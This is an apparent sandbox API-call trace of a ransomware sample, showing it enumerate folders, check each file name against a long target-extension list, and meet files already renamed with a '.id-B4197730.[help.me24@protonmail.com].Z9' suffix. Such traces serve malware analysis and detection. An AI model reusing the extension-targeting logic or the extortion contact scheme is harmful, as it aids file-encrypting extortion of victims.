	[0070.479] lstrcmpiW (lpString1=".jpeg", lpString2="m].Z9") returned -1
	[0070.479] lstrlenW (lpString=".jpf") returned 4
	[0070.479] lstrcmpiW (lpString1=".jpf", lpString2="].Z9") returned -1
	[0070.479] lstrlenW (lpString=".jpg") returned 4
	[0070.479] lstrcmpiW (lpString1=".jpg", lpString2="].Z9") returned -1
	[0070.479] lstrlenW (lpString=".jpx") returned 4
	[0070.479] lstrcmpiW (lpString1=".jpx", lpString2="].Z9") returned -1
	[0070.479] lstrlenW (lpString=".js") returned 3
	[0070.479] lstrcmpiW (lpString1=".js", lpString2=".Z9") returned -1
	[0070.479] lstrlenW (lpString=".jsf") returned 4
	[0070.479] lstrcmpiW (lpString1=".jsf", lpString2="].Z9") returned -1
	[0070.479] lstrlenW (lpString=".json") returned 5
	[0070.480] lstrcmpiW (lpString1=".json", lpString2="m].Z9") returned -1
	[0070.480] lstrlenW (lpString=".jsp") returned 4
	[0070.480] lstrcmpiW (lpString1=".jsp", lpString2="].Z9") returned -1
	[0070.480] lstrlenW (lpString=".kdc") returned 4
	[0070.480] lstrcmpiW (lpString1=".kdc", lpString2="].Z9") returned -1
	[0070.480] lstrlenW (lpString=".kmz") returned 4
	[0070.480] lstrcmpiW (lpString1=".kmz", lpString2="].Z9") returned -1
	[0070.480] lstrlenW (lpString=".kwm") returned 4
	[0070.480] lstrcmpiW (lpString1=".kwm", lpString2="].Z9") returned -1
	[0070.480] lstrlenW (lpString=".lasso") returned 6
	[0070.480] lstrcmpiW (lpString1=".lasso", lpString2="om].Z9") returned -1
	[0070.480] lstrlenW (lpString=".lbi") returned 4
	[0070.480] lstrcmpiW (lpString1=".lbi", lpString2="].Z9") returned -1
	[0070.480] lstrlenW (lpString=".lgf") returned 4
	[0070.480] lstrcmpiW (lpString1=".lgf", lpString2="].Z9") returned -1
	[0070.480] lstrlenW (lpString=".lgp") returned 4
	[0070.480] lstrcmpiW (lpString1=".lgp", lpString2="].Z9") returned -1
	[0070.480] lstrlenW (lpString=".log") returned 4
	[0070.480] lstrcmpiW (lpString1=".log", lpString2="].Z9") returned -1
	[0070.480] lstrlenW (lpString=".m1v") returned 4
	[0070.480] lstrcmpiW (lpString1=".m1v", lpString2="].Z9") returned -1
	[0070.480] lstrlenW (lpString=".m4a") returned 4
	[0070.480] lstrcmpiW (lpString1=".m4a", lpString2="].Z9") returned -1
	[0070.480] lstrlenW (lpString=".m4v") returned 4
	[0070.480] lstrcmpiW (lpString1=".m4v", lpString2="].Z9") returned -1
	[0070.480] lstrlenW (lpString=".max") returned 4
	[0070.480] lstrcmpiW (lpString1=".max", lpString2="].Z9") returned -1
	[0070.480] lstrlenW (lpString=".md") returned 3
	[0070.480] lstrcmpiW (lpString1=".md", lpString2=".Z9") returned -1
	[0070.480] lstrlenW (lpString=".mda") returned 4
	[0070.480] lstrcmpiW (lpString1=".mda", lpString2="].Z9") returned -1
	[0070.480] lstrlenW (lpString=".mdb") returned 4
	[0070.480] lstrcmpiW (lpString1=".mdb", lpString2="].Z9") returned -1
	[0070.480] lstrlenW (lpString=".mde") returned 4
	[0070.480] lstrcmpiW (lpString1=".mde", lpString2="].Z9") returned -1
	[0070.480] lstrlenW (lpString=".mdf") returned 4
	[0070.481] lstrcmpiW (lpString1=".mdf", lpString2="].Z9") returned -1
	[0070.481] lstrlenW (lpString=".mdw") returned 4
	[0070.481] lstrcmpiW (lpString1=".mdw", lpString2="].Z9") returned -1
	[0070.481] lstrlenW (lpString=".mef") returned 4
	[0070.481] lstrcmpiW (lpString1=".mef", lpString2="].Z9") returned -1
	[0070.481] lstrlenW (lpString=".mft") returned 4
	[0070.481] lstrcmpiW (lpString1=".mft", lpString2="].Z9") returned -1
	[0070.481] lstrlenW (lpString=".mfw") returned 4
	[0070.481] lstrcmpiW (lpString1=".mfw", lpString2="].Z9") returned -1
	[0070.481] lstrlenW (lpString=".mht") returned 4
	[0070.481] lstrcmpiW (lpString1=".mht", lpString2="].Z9") returned -1
	[0070.481] lstrlenW (lpString=".mhtml") returned 6
	[0070.481] lstrcmpiW (lpString1=".mhtml", lpString2="om].Z9") returned -1
	[0070.481] lstrlenW (lpString=".mka") returned 4
	[0070.481] lstrcmpiW (lpString1=".mka", lpString2="].Z9") returned -1
	[0070.481] lstrlenW (lpString=".mkidx") returned 6
	[0070.481] lstrcmpiW (lpString1=".mkidx", lpString2="om].Z9") returned -1
	[0070.481] lstrlenW (lpString=".mkv") returned 4
	[0070.481] lstrcmpiW (lpString1=".mkv", lpString2="].Z9") returned -1
	[0070.481] lstrlenW (lpString=".mos") returned 4
	[0070.481] lstrcmpiW (lpString1=".mos", lpString2="].Z9") returned -1
	[0070.481] lstrlenW (lpString=".mov") returned 4
	[0070.481] lstrcmpiW (lpString1=".mov", lpString2="].Z9") returned -1
	[0070.481] lstrlenW (lpString=".mp3") returned 4
	[0070.481] lstrcmpiW (lpString1=".mp3", lpString2="].Z9") returned -1
	[0070.481] lstrlenW (lpString=".mp4") returned 4
	[0070.481] lstrcmpiW (lpString1=".mp4", lpString2="].Z9") returned -1
	[0070.481] lstrlenW (lpString=".mpeg") returned 5
	[0070.481] lstrcmpiW (lpString1=".mpeg", lpString2="m].Z9") returned -1
	[0070.481] lstrlenW (lpString=".mpg") returned 4
	[0070.481] lstrcmpiW (lpString1=".mpg", lpString2="].Z9") returned -1
	[0070.481] lstrlenW (lpString=".mpv") returned 4
	[0070.481] lstrcmpiW (lpString1=".mpv", lpString2="].Z9") returned -1
	[0070.481] lstrlenW (lpString=".mrw") returned 4
	[0070.481] lstrcmpiW (lpString1=".mrw", lpString2="].Z9") returned -1
	[0070.482] lstrlenW (lpString=".msg") returned 4
	[0070.482] lstrcmpiW (lpString1=".msg", lpString2="].Z9") returned -1
	[0070.482] lstrlenW (lpString=".mxl") returned 4
	[0070.482] lstrcmpiW (lpString1=".mxl", lpString2="].Z9") returned -1
	[0070.482] lstrlenW (lpString=".myd") returned 4
	[0070.482] lstrcmpiW (lpString1=".myd", lpString2="].Z9") returned -1
	[0070.482] lstrlenW (lpString=".myi") returned 4
	[0070.482] lstrcmpiW (lpString1=".myi", lpString2="].Z9") returned -1
	[0070.482] lstrlenW (lpString=".nef") returned 4
	[0070.482] lstrcmpiW (lpString1=".nef", lpString2="].Z9") returned -1
	[0070.482] lstrlenW (lpString=".nrw") returned 4
	[0070.482] lstrcmpiW (lpString1=".nrw", lpString2="].Z9") returned -1
	[0070.482] lstrlenW (lpString=".obj") returned 4
	[0070.482] lstrcmpiW (lpString1=".obj", lpString2="].Z9") returned -1
	[0070.482] lstrlenW (lpString=".odb") returned 4
	[0070.482] lstrcmpiW (lpString1=".odb", lpString2="].Z9") returned -1
	[0070.482] lstrlenW (lpString=".odc") returned 4
	[0070.482] lstrcmpiW (lpString1=".odc", lpString2="].Z9") returned -1
	[0070.482] lstrlenW (lpString=".odm") returned 4
	[0070.482] lstrcmpiW (lpString1=".odm", lpString2="].Z9") returned -1
	[0070.482] lstrlenW (lpString=".odp") returned 4
	[0070.482] lstrcmpiW (lpString1=".odp", lpString2="].Z9") returned -1
	[0070.482] lstrlenW (lpString=".ods") returned 4
	[0070.482] lstrcmpiW (lpString1=".ods", lpString2="].Z9") returned -1
	[0070.482] lstrlenW (lpString=".oft") returned 4
	[0070.482] lstrcmpiW (lpString1=".oft", lpString2="].Z9") returned -1
	[0070.482] lstrlenW (lpString=".one") returned 4
	[0070.482] lstrcmpiW (lpString1=".one", lpString2="].Z9") returned -1
	[0070.482] lstrlenW (lpString=".onepkg") returned 7
	[0070.482] lstrcmpiW (lpString1=".onepkg", lpString2="com].Z9") returned -1
	[0070.482] lstrlenW (lpString=".onetoc2") returned 8
	[0070.482] lstrcmpiW (lpString1=".onetoc2", lpString2=".com].Z9") returned 1
	[0070.482] lstrlenW (lpString=".opt") returned 4
	[0070.482] lstrcmpiW (lpString1=".opt", lpString2="].Z9") returned -1
	[0070.482] lstrlenW (lpString=".oqy") returned 4
	[0070.482] lstrcmpiW (lpString1=".oqy", lpString2="].Z9") returned -1
	[0070.482] lstrlenW (lpString=".orf") returned 4
	[0070.483] lstrcmpiW (lpString1=".orf", lpString2="].Z9") returned -1
	[0070.483] lstrlenW (lpString=".p12") returned 4
	[0070.483] lstrcmpiW (lpString1=".p12", lpString2="].Z9") returned -1
	[0070.483] lstrlenW (lpString=".p7b") returned 4
	[0070.483] lstrcmpiW (lpString1=".p7b", lpString2="].Z9") returned -1
	[0070.483] lstrlenW (lpString=".p7c") returned 4
	[0070.483] lstrcmpiW (lpString1=".p7c", lpString2="].Z9") returned -1
	[0070.483] lstrlenW (lpString=".pam") returned 4
	[0070.483] lstrcmpiW (lpString1=".pam", lpString2="].Z9") returned -1
	[0070.483] lstrlenW (lpString=".pbm") returned 4
	[0070.483] lstrcmpiW (lpString1=".pbm", lpString2="].Z9") returned -1
	[0070.483] lstrlenW (lpString=".pct") returned 4
	[0070.483] lstrcmpiW (lpString1=".pct", lpString2="].Z9") returned -1
	[0070.483] lstrlenW (lpString=".pcx") returned 4
	[0070.483] lstrcmpiW (lpString1=".pcx", lpString2="].Z9") returned -1
	[0070.483] lstrlenW (lpString=".pdd") returned 4
	[0070.483] lstrcmpiW (lpString1=".pdd", lpString2="].Z9") returned -1
	[0070.483] lstrlenW (lpString=".pdf") returned 4
	[0070.483] lstrcmpiW (lpString1=".pdf", lpString2="].Z9") returned -1
	[0070.483] lstrlenW (lpString=".pdp") returned 4
	[0070.483] lstrcmpiW (lpString1=".pdp", lpString2="].Z9") returned -1
	[0070.483] lstrlenW (lpString=".pef") returned 4
	[0070.483] lstrcmpiW (lpString1=".pef", lpString2="].Z9") returned -1
	[0070.483] lstrlenW (lpString=".pem") returned 4
	[0070.483] lstrcmpiW (lpString1=".pem", lpString2="].Z9") returned -1
	[0070.483] lstrlenW (lpString=".pff") returned 4
	[0070.483] lstrcmpiW (lpString1=".pff", lpString2="].Z9") returned -1
	[0070.483] lstrlenW (lpString=".pfm") returned 4
	[0070.483] lstrcmpiW (lpString1=".pfm", lpString2="].Z9") returned -1
	[0070.483] lstrlenW (lpString=".pfx") returned 4
	[0070.483] lstrcmpiW (lpString1=".pfx", lpString2="].Z9") returned -1
	[0070.483] lstrlenW (lpString=".pgm") returned 4
	[0070.483] lstrcmpiW (lpString1=".pgm", lpString2="].Z9") returned -1
	[0070.483] lstrlenW (lpString=".php") returned 4
	[0070.483] lstrcmpiW (lpString1=".php", lpString2="].Z9") returned -1
	[0070.483] lstrlenW (lpString=".php3") returned 5
	[0070.484] lstrcmpiW (lpString1=".php3", lpString2="m].Z9") returned -1
	[0070.484] lstrlenW (lpString=".php4") returned 5
	[0070.484] lstrcmpiW (lpString1=".php4", lpString2="m].Z9") returned -1
	[0070.484] lstrlenW (lpString=".php5") returned 5
	[0070.484] lstrcmpiW (lpString1=".php5", lpString2="m].Z9") returned -1
	[0070.484] lstrlenW (lpString=".phtml") returned 6
	[0070.484] lstrcmpiW (lpString1=".phtml", lpString2="om].Z9") returned -1
	[0070.484] lstrlenW (lpString=".pict") returned 5
	[0070.484] lstrcmpiW (lpString1=".pict", lpString2="m].Z9") returned -1
	[0070.484] lstrlenW (lpString=".pl") returned 3
	[0070.484] lstrcmpiW (lpString1=".pl", lpString2=".Z9") returned -1
	[0070.484] lstrlenW (lpString=".pls") returned 4
	[0070.484] lstrcmpiW (lpString1=".pls", lpString2="].Z9") returned -1
	[0070.484] lstrlenW (lpString=".pm") returned 3
	[0070.484] lstrcmpiW (lpString1=".pm", lpString2=".Z9") returned -1
	[0070.484] lstrlenW (lpString=".png") returned 4
	[0070.484] lstrcmpiW (lpString1=".png", lpString2="].Z9") returned -1
	[0070.484] lstrlenW (lpString=".pnm") returned 4
	[0070.484] lstrcmpiW (lpString1=".pnm", lpString2="].Z9") returned -1
	[0070.484] lstrlenW (lpString=".pot") returned 4
	[0070.484] lstrcmpiW (lpString1=".pot", lpString2="].Z9") returned -1
	[0070.484] lstrlenW (lpString=".potm") returned 5
	[0070.484] lstrcmpiW (lpString1=".potm", lpString2="m].Z9") returned -1
	[0070.484] lstrlenW (lpString=".potx") returned 5
	[0070.484] lstrcmpiW (lpString1=".potx", lpString2="m].Z9") returned -1
	[0070.484] lstrlenW (lpString=".ppa") returned 4
	[0070.484] lstrcmpiW (lpString1=".ppa", lpString2="].Z9") returned -1
	[0070.484] lstrlenW (lpString=".ppam") returned 5
	[0070.484] lstrcmpiW (lpString1=".ppam", lpString2="m].Z9") returned -1
	[0070.484] lstrlenW (lpString=".ppm") returned 4
	[0070.484] lstrcmpiW (lpString1=".ppm", lpString2="].Z9") returned -1
	[0070.484] lstrlenW (lpString=".pps") returned 4
	[0070.484] lstrcmpiW (lpString1=".pps", lpString2="].Z9") returned -1
	[0070.484] lstrlenW (lpString=".ppsm") returned 5
	[0070.484] lstrcmpiW (lpString1=".ppsm", lpString2="m].Z9") returned -1
	[0070.484] lstrlenW (lpString=".ppt") returned 4
	[0070.485] lstrcmpiW (lpString1=".ppt", lpString2="].Z9") returned -1
	[0070.485] lstrlenW (lpString=".pptm") returned 5
	[0070.485] lstrcmpiW (lpString1=".pptm", lpString2="m].Z9") returned -1
	[0070.485] lstrlenW (lpString=".pptx") returned 5
	[0070.485] lstrcmpiW (lpString1=".pptx", lpString2="m].Z9") returned -1
	[0070.485] lstrlenW (lpString=".prn") returned 4
	[0070.485] lstrcmpiW (lpString1=".prn", lpString2="].Z9") returned -1
	[0070.485] lstrlenW (lpString=".ps") returned 3
	[0070.485] lstrcmpiW (lpString1=".ps", lpString2=".Z9") returned -1
	[0070.485] lstrlenW (lpString=".psb") returned 4
	[0070.485] lstrcmpiW (lpString1=".psb", lpString2="].Z9") returned -1
	[0070.485] lstrlenW (lpString=".psd") returned 4
	[0070.485] lstrcmpiW (lpString1=".psd", lpString2="].Z9") returned -1
	[0070.485] lstrlenW (lpString=".pst") returned 4
	[0070.485] lstrcmpiW (lpString1=".pst", lpString2="].Z9") returned -1
	[0070.485] lstrlenW (lpString=".ptx") returned 4
	[0070.485] lstrcmpiW (lpString1=".ptx", lpString2="].Z9") returned -1
	[0070.485] lstrlenW (lpString=".pub") returned 4
	[0070.485] lstrcmpiW (lpString1=".pub", lpString2="].Z9") returned -1
	[0070.485] lstrlenW (lpString=".pwm") returned 4
	[0070.485] lstrcmpiW (lpString1=".pwm", lpString2="].Z9") returned -1
	[0070.485] lstrlenW (lpString=".pxr") returned 4
	[0070.485] lstrcmpiW (lpString1=".pxr", lpString2="].Z9") returned -1
	[0070.485] lstrlenW (lpString=".py") returned 3
	[0070.485] lstrcmpiW (lpString1=".py", lpString2=".Z9") returned -1
	[0070.485] lstrlenW (lpString=".qt") returned 3
	[0070.485] lstrcmpiW (lpString1=".qt", lpString2=".Z9") returned -1
	[0070.485] lstrlenW (lpString=".r3d") returned 4
	[0070.485] lstrcmpiW (lpString1=".r3d", lpString2="].Z9") returned -1
	[0070.485] lstrlenW (lpString=".raf") returned 4
	[0070.485] lstrcmpiW (lpString1=".raf", lpString2="].Z9") returned -1
	[0070.485] lstrlenW (lpString=".rar") returned 4
	[0070.485] lstrcmpiW (lpString1=".rar", lpString2="].Z9") returned -1
	[0070.485] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34eff6da, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34eff6da, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34fbe11e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13d46, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0070.486] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.486] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.486] FindClose (in: hFindFile=0x3121850 | out: hFindFile=0x3121850) returned 1
	[0070.486] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.486] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1
	[0070.486] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d50050
	[0070.486] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030") returned 26
	[0070.486] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x3500a65c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31212d0
	[0070.486] FindNextFileW (in: hFindFile=0x31212d0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x3500a65c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.486] FindNextFileW (in: hFindFile=0x31212d0, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34eff6da, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34eff6da, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34f97f48, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xde4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0070.486] lstrlenW (lpString="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9") returned 50
	[0070.486] lstrlenW (lpString=".1cd") returned 4
	[0070.486] lstrcmpiW (lpString1=".1cd", lpString2="].Z9") returned -1
	[0070.486] lstrlenW (lpString=".3ds") returned 4
	[0070.487] lstrcmpiW (lpString1=".3ds", lpString2="].Z9") returned -1
	[0070.487] lstrlenW (lpString=".3fr") returned 4
	[0070.487] lstrcmpiW (lpString1=".3fr", lpString2="].Z9") returned -1
	[0070.487] lstrlenW (lpString=".3g2") returned 4
	[0070.487] lstrcmpiW (lpString1=".3g2", lpString2="].Z9") returned -1
	[0070.487] lstrlenW (lpString=".3gp") returned 4
	[0070.487] lstrcmpiW (lpString1=".3gp", lpString2="].Z9") returned -1
	[0070.487] lstrlenW (lpString=".7z") returned 3
	[0070.487] lstrcmpiW (lpString1=".7z", lpString2=".Z9") returned -1
	[0070.487] lstrlenW (lpString=".accda") returned 6
	[0070.487] lstrcmpiW (lpString1=".accda", lpString2="om].Z9") returned -1
	[0070.487] lstrlenW (lpString=".accdb") returned 6
	[0070.487] lstrcmpiW (lpString1=".accdb", lpString2="om].Z9") returned -1
	[0070.487] lstrlenW (lpString=".accdc") returned 6
	[0070.487] lstrcmpiW (lpString1=".accdc", lpString2="om].Z9") returned -1
	[0070.487] lstrlenW (lpString=".accde") returned 6
	[0070.487] lstrcmpiW (lpString1=".accde", lpString2="om].Z9") returned -1
	[0070.487] lstrlenW (lpString=".accdt") returned 6
	[0070.487] lstrcmpiW (lpString1=".accdt", lpString2="om].Z9") returned -1
	[0070.487] lstrlenW (lpString=".accdw") returned 6
	[0070.487] lstrcmpiW (lpString1=".accdw", lpString2="om].Z9") returned -1
	[0070.487] lstrlenW (lpString=".adb") returned 4
	[0070.487] lstrcmpiW (lpString1=".adb", lpString2="].Z9") returned -1
	[0070.487] lstrlenW (lpString=".adp") returned 4
	[0070.487] lstrcmpiW (lpString1=".adp", lpString2="].Z9") returned -1
	[0070.487] lstrlenW (lpString=".ai") returned 3
	[0070.487] lstrcmpiW (lpString1=".ai", lpString2=".Z9") returned -1
	[0070.487] lstrlenW (lpString=".ai3") returned 4
	[0070.487] lstrcmpiW (lpString1=".ai3", lpString2="].Z9") returned -1
	[0070.487] lstrlenW (lpString=".ai4") returned 4
	[0070.487] lstrcmpiW (lpString1=".ai4", lpString2="].Z9") returned -1
	[0070.487] lstrlenW (lpString=".ai5") returned 4
	[0070.487] lstrcmpiW (lpString1=".ai5", lpString2="].Z9") returned -1
	[0070.487] lstrlenW (lpString=".ai6") returned 4
	[0070.488] lstrcmpiW (lpString1=".ai6", lpString2="].Z9") returned -1
	[0070.488] lstrlenW (lpString=".ai7") returned 4
	[0070.488] lstrcmpiW (lpString1=".ai7", lpString2="].Z9") returned -1
	[0070.488] lstrlenW (lpString=".ai8") returned 4
	[0070.488] lstrcmpiW (lpString1=".ai8", lpString2="].Z9") returned -1
	[0070.488] lstrlenW (lpString=".anim") returned 5
	[0070.488] lstrcmpiW (lpString1=".anim", lpString2="m].Z9") returned -1
	[0070.488] lstrlenW (lpString=".arw") returned 4
	[0070.488] lstrcmpiW (lpString1=".arw", lpString2="].Z9") returned -1
	[0070.488] lstrlenW (lpString=".as") returned 3
	[0070.488] lstrcmpiW (lpString1=".as", lpString2=".Z9") returned -1
	[0070.488] lstrlenW (lpString=".asa") returned 4
	[0070.488] lstrcmpiW (lpString1=".asa", lpString2="].Z9") returned -1
	[0070.488] lstrlenW (lpString=".asc") returned 4
	[0070.488] lstrcmpiW (lpString1=".asc", lpString2="].Z9") returned -1
	[0070.488] lstrlenW (lpString=".ascx") returned 5
	[0070.488] lstrcmpiW (lpString1=".ascx", lpString2="m].Z9") returned -1
	[0070.488] lstrlenW (lpString=".asm") returned 4
	[0070.488] lstrcmpiW (lpString1=".asm", lpString2="].Z9") returned -1
	[0070.488] lstrlenW (lpString=".asmx") returned 5
	[0070.488] lstrcmpiW (lpString1=".asmx", lpString2="m].Z9") returned -1
	[0070.488] lstrlenW (lpString=".asp") returned 4
	[0070.488] lstrcmpiW (lpString1=".asp", lpString2="].Z9") returned -1
	[0070.488] lstrlenW (lpString=".aspx") returned 5
	[0070.488] lstrcmpiW (lpString1=".aspx", lpString2="m].Z9") returned -1
	[0070.488] lstrlenW (lpString=".asr") returned 4
	[0070.488] lstrcmpiW (lpString1=".asr", lpString2="].Z9") returned -1
	[0070.489] lstrlenW (lpString=".asx") returned 4
	[0070.489] lstrcmpiW (lpString1=".asx", lpString2="].Z9") returned -1
	[0070.489] lstrlenW (lpString=".avi") returned 4
	[0070.489] lstrcmpiW (lpString1=".avi", lpString2="].Z9") returned -1
	[0070.489] lstrlenW (lpString=".avs") returned 4
	[0070.489] lstrcmpiW (lpString1=".avs", lpString2="].Z9") returned -1
	[0070.489] lstrlenW (lpString=".backup") returned 7
	[0070.489] lstrcmpiW (lpString1=".backup", lpString2="com].Z9") returned -1
	[0070.489] lstrlenW (lpString=".bak") returned 4
	[0070.489] lstrcmpiW (lpString1=".bak", lpString2="].Z9") returned -1
	[0070.489] lstrlenW (lpString=".bay") returned 4
	[0070.489] lstrcmpiW (lpString1=".bay", lpString2="].Z9") returned -1
	[0070.489] lstrlenW (lpString=".bd") returned 3
	[0070.489] lstrcmpiW (lpString1=".bd", lpString2=".Z9") returned -1
	[0070.489] lstrlenW (lpString=".bin") returned 4
	[0070.489] lstrcmpiW (lpString1=".bin", lpString2="].Z9") returned -1
	[0070.489] lstrlenW (lpString=".bmp") returned 4
	[0070.489] lstrcmpiW (lpString1=".bmp", lpString2="].Z9") returned -1
	[0070.489] lstrlenW (lpString=".bz2") returned 4
	[0070.489] lstrcmpiW (lpString1=".bz2", lpString2="].Z9") returned -1
	[0070.489] lstrlenW (lpString=".c") returned 2
	[0070.489] lstrcmpiW (lpString1=".c", lpString2="Z9") returned -1
	[0070.489] lstrlenW (lpString=".cdr") returned 4
	[0070.489] lstrcmpiW (lpString1=".cdr", lpString2="].Z9") returned -1
	[0070.489] lstrlenW (lpString=".cer") returned 4
	[0070.489] lstrcmpiW (lpString1=".cer", lpString2="].Z9") returned -1
	[0070.489] lstrlenW (lpString=".cf") returned 3
	[0070.490] lstrcmpiW (lpString1=".cf", lpString2=".Z9") returned -1
	[0070.490] lstrlenW (lpString=".cfc") returned 4
	[0070.490] lstrcmpiW (lpString1=".cfc", lpString2="].Z9") returned -1
	[0070.490] lstrlenW (lpString=".cfm") returned 4
	[0070.490] lstrcmpiW (lpString1=".cfm", lpString2="].Z9") returned -1
	[0070.490] lstrlenW (lpString=".cfml") returned 5
	[0070.490] lstrcmpiW (lpString1=".cfml", lpString2="m].Z9") returned -1
	[0070.490] lstrlenW (lpString=".cfu") returned 4
	[0070.490] lstrcmpiW (lpString1=".cfu", lpString2="].Z9") returned -1
	[0070.490] lstrlenW (lpString=".chm") returned 4
	[0070.490] lstrcmpiW (lpString1=".chm", lpString2="].Z9") returned -1
	[0070.490] lstrlenW (lpString=".cin") returned 4
	[0070.490] lstrcmpiW (lpString1=".cin", lpString2="].Z9") returned -1
	[0070.490] lstrlenW (lpString=".class") returned 6
	[0070.490] lstrcmpiW (lpString1=".class", lpString2="om].Z9") returned -1
	[0070.490] lstrlenW (lpString=".clx") returned 4
	[0070.490] lstrcmpiW (lpString1=".clx", lpString2="].Z9") returned -1
	[0070.490] lstrlenW (lpString=".config") returned 7
	[0070.490] lstrcmpiW (lpString1=".config", lpString2="com].Z9") returned -1
	[0070.490] lstrlenW (lpString=".cpp") returned 4
	[0070.490] lstrcmpiW (lpString1=".cpp", lpString2="].Z9") returned -1
	[0070.490] lstrlenW (lpString=".cr2") returned 4
	[0070.490] lstrcmpiW (lpString1=".cr2", lpString2="].Z9") returned -1
	[0070.490] lstrlenW (lpString=".crt") returned 4
	[0070.491] lstrcmpiW (lpString1=".crt", lpString2="].Z9") returned -1
	[0070.491] lstrlenW (lpString=".crw") returned 4
	[0070.491] lstrcmpiW (lpString1=".crw", lpString2="].Z9") returned -1
	[0070.491] lstrlenW (lpString=".cs") returned 3
	[0070.491] lstrcmpiW (lpString1=".cs", lpString2=".Z9") returned -1
	[0070.491] lstrlenW (lpString=".css") returned 4
	[0070.491] lstrcmpiW (lpString1=".css", lpString2="].Z9") returned -1
	[0070.491] lstrlenW (lpString=".csv") returned 4
	[0070.491] lstrcmpiW (lpString1=".csv", lpString2="].Z9") returned -1
	[0070.491] lstrlenW (lpString=".cub") returned 4
	[0070.491] lstrcmpiW (lpString1=".cub", lpString2="].Z9") returned -1
	[0070.491] lstrlenW (lpString=".dae") returned 4
	[0070.491] lstrcmpiW (lpString1=".dae", lpString2="].Z9") returned -1
	[0070.491] lstrlenW (lpString=".dat") returned 4
	[0070.491] lstrcmpiW (lpString1=".dat", lpString2="].Z9") returned -1
	[0070.491] lstrlenW (lpString=".db") returned 3
	[0070.491] lstrcmpiW (lpString1=".db", lpString2=".Z9") returned -1
	[0070.491] lstrlenW (lpString=".dbf") returned 4
	[0070.491] lstrcmpiW (lpString1=".dbf", lpString2="].Z9") returned -1
	[0070.491] lstrlenW (lpString=".dbx") returned 4
	[0070.491] lstrcmpiW (lpString1=".dbx", lpString2="].Z9") returned -1
	[0070.491] lstrlenW (lpString=".dc3") returned 4
	[0070.491] lstrcmpiW (lpString1=".dc3", lpString2="].Z9") returned -1
	[0070.491] lstrlenW (lpString=".dcm") returned 4
